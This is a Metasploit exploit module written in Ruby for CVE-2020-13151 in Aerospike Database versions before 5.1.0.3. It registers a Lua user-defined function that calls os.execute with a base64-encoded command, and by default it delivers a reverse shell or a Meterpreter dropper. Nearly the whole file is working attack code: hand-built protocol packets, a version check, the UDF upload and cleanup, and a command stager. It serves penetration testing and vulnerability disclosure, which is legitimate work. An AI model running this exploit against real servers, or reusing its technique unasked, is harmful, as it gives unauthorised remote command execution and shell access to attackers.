215 lines
6.7 KiB
Ruby
215 lines
6.7 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = GreatRanking
|
|
|
|
include Msf::Exploit::EXE
|
|
include Msf::Exploit::Remote::Tcp
|
|
include Msf::Exploit::CmdStager
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Aerospike Database UDF Lua Code Execution',
|
|
'Description' => %q{
|
|
Aerospike Database versions before 5.1.0.3 permitted
|
|
user-defined functions (UDF) to call the `os.execute`
|
|
Lua function.
|
|
|
|
This module creates a UDF utilising this function to
|
|
execute arbitrary operating system commands with the
|
|
privileges of the user running the Aerospike service.
|
|
|
|
This module does not support authentication; however
|
|
Aerospike Database Community Edition does not enable
|
|
authentication by default.
|
|
|
|
This module has been tested successfully on Ubuntu
|
|
with Aerospike Database Community Edition versions
|
|
4.9.0.5, 4.9.0.11 and 5.0.0.10.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'b4ny4n', # Discovery and exploit
|
|
'bcoles' # Metasploit
|
|
],
|
|
'References' => [
|
|
['EDB', '49067'],
|
|
['CVE', '2020-13151'],
|
|
['PACKETSTORM', '160106'],
|
|
['URL', 'https://www.aerospike.com/enterprise/download/server/notes.html#5.1.0.3'],
|
|
['URL', 'https://github.com/b4ny4n/CVE-2020-13151'],
|
|
['URL', 'https://b4ny4n.github.io/network-pentest/2020/08/01/cve-2020-13151-poc-aerospike.html'],
|
|
['URL', 'https://www.aerospike.com/docs/operations/manage/udfs/'],
|
|
],
|
|
'Platform' => %w[linux unix],
|
|
'Targets' => [
|
|
[
|
|
'Unix Command',
|
|
{
|
|
'Platform' => 'unix',
|
|
'Arch' => ARCH_CMD,
|
|
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },
|
|
'Type' => :unix_command
|
|
}
|
|
],
|
|
[
|
|
'Linux (Dropper)',
|
|
{
|
|
'Platform' => 'linux',
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },
|
|
'Type' => :linux_dropper
|
|
}
|
|
],
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => '2020-07-31',
|
|
'Notes' => {
|
|
'Stability' => [ CRASH_SAFE ],
|
|
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
|
|
'Reliability' => [ REPEATABLE_SESSION ]
|
|
},
|
|
'DefaultTarget' => 0
|
|
)
|
|
)
|
|
register_options(
|
|
[
|
|
Opt::RPORT(3000)
|
|
]
|
|
)
|
|
register_advanced_options(
|
|
[
|
|
OptString.new('UDF_DIRECTORY', [true, 'Directory where Lua UDF files are stored', '/opt/aerospike/usr/udf/lua/'])
|
|
]
|
|
)
|
|
end
|
|
|
|
def build
|
|
header = ['02010000'].pack('H*')
|
|
data = "build\x0a"
|
|
len = [data.length].pack('N')
|
|
sock.put(header + len + data)
|
|
sock.get_once
|
|
end
|
|
|
|
def remove_udf(name)
|
|
header = ['02010000'].pack('H*')
|
|
data = "udf-remove:filename=#{name};\x0a"
|
|
len = [data.length].pack('N')
|
|
sock.put(header + len + data)
|
|
sock.get_once
|
|
end
|
|
|
|
def list_udf
|
|
header = ['02010000'].pack('H*')
|
|
data = "udf-list\x0a"
|
|
len = [data.length].pack('N')
|
|
sock.put(header + len + data)
|
|
sock.get_once
|
|
end
|
|
|
|
def upload_udf(name, data, type = 'LUA')
|
|
header = ['02010000'].pack('H*')
|
|
content = Rex::Text.encode_base64(data)
|
|
data = "udf-put:filename=#{name};content=#{content};content-len=#{content.length};udf-type=#{type};\x0a"
|
|
len = [data.length].pack('N')
|
|
sock.put(header + len + data)
|
|
sock.get_once
|
|
end
|
|
|
|
def features
|
|
header = ['02010000'].pack('H*')
|
|
data = "features\x0a"
|
|
len = [data.length].pack('N')
|
|
sock.put(header + len + data)
|
|
sock.get_once
|
|
end
|
|
|
|
def execute_command(cmd, _opts = {})
|
|
fname = "#{rand_text_alpha(12..16)}.lua"
|
|
print_status("Creating UDF '#{fname}' ...")
|
|
|
|
# NOTE: we manually remove the lua file as unregistering the UDF
|
|
# does not remove the lua file from disk.
|
|
cmd_exec = Rex::Text.encode_base64("rm '#{datastore['UDF_DIRECTORY']}/#{fname}'; #{cmd}")
|
|
|
|
# NOTE: this jank to execute the payload in the background is required as
|
|
# sometimes the payload is executed twice (before the UDF is unregistered).
|
|
#
|
|
# Executing the payload in the foreground causes the thread to block while
|
|
# the second payload tries and fails to connect back.
|
|
#
|
|
# This would cause the subsequent call to unregister the UDF to fail,
|
|
# permanently backdooring the system (that's bad).
|
|
res = upload_udf(fname, %{os.execute("echo #{cmd_exec}|base64 -d|sh&")})
|
|
|
|
return unless res.to_s.include?('error')
|
|
|
|
if /error=(?<error>.+?);.*message=(?<message>.+?)$/ =~ res
|
|
print_error("UDF registration failed: #{error}: #{Rex::Text.decode_base64(message)}")
|
|
else
|
|
print_error('UDF registration failed')
|
|
end
|
|
ensure
|
|
# NOTE: unregistering the UDF is super important as leaving the UDF
|
|
# registered causes the payload to be executed repeatedly, effectively
|
|
# permanently backdooring the system (that's bad).
|
|
if remove_udf(fname).to_s.include?('ok')
|
|
vprint_status("UDF '#{fname}' removed successfully")
|
|
else
|
|
print_warning("UDF '#{fname}' could not be removed")
|
|
end
|
|
end
|
|
|
|
def check
|
|
connect
|
|
|
|
res = build
|
|
|
|
unless res
|
|
return CheckCode::Unknown('Connection failed')
|
|
end
|
|
|
|
version = res.to_s.scan(/build\s*([\d.]+)/).flatten.first
|
|
|
|
unless version
|
|
return CheckCode::Safe('Target is not Aerospike Database')
|
|
end
|
|
|
|
vprint_status("Aerospike Database version #{version}")
|
|
|
|
if Rex::Version.new(version) >= Rex::Version.new('5.1.0.3')
|
|
return CheckCode::Safe('Version is not vulnerable')
|
|
end
|
|
|
|
unless features.to_s.include?('udf')
|
|
return CheckCode::Safe('User defined functions are not supported')
|
|
end
|
|
|
|
CheckCode::Appears
|
|
end
|
|
|
|
def exploit
|
|
# NOTE: maximum packet size is 65,535 bytes and we lose some space to
|
|
# packet overhead, command stager overhead, and double base64 encoding.
|
|
max_size = 35_000 # 35,000 bytes double base64 encoded is 63,874 bytes.
|
|
if payload.encoded.length > max_size
|
|
fail_with(Failure::BadConfig, "Payload size (#{payload.encoded.length} bytes) is large than maximum permitted size (#{max_size} bytes)")
|
|
end
|
|
|
|
print_status("Sending payload (#{payload.encoded.length} bytes) ...")
|
|
case target['Type']
|
|
when :unix_command
|
|
execute_command(payload.encoded)
|
|
when :linux_dropper
|
|
execute_cmdstager(linemax: max_size, background: true)
|
|
end
|
|
end
|
|
end
|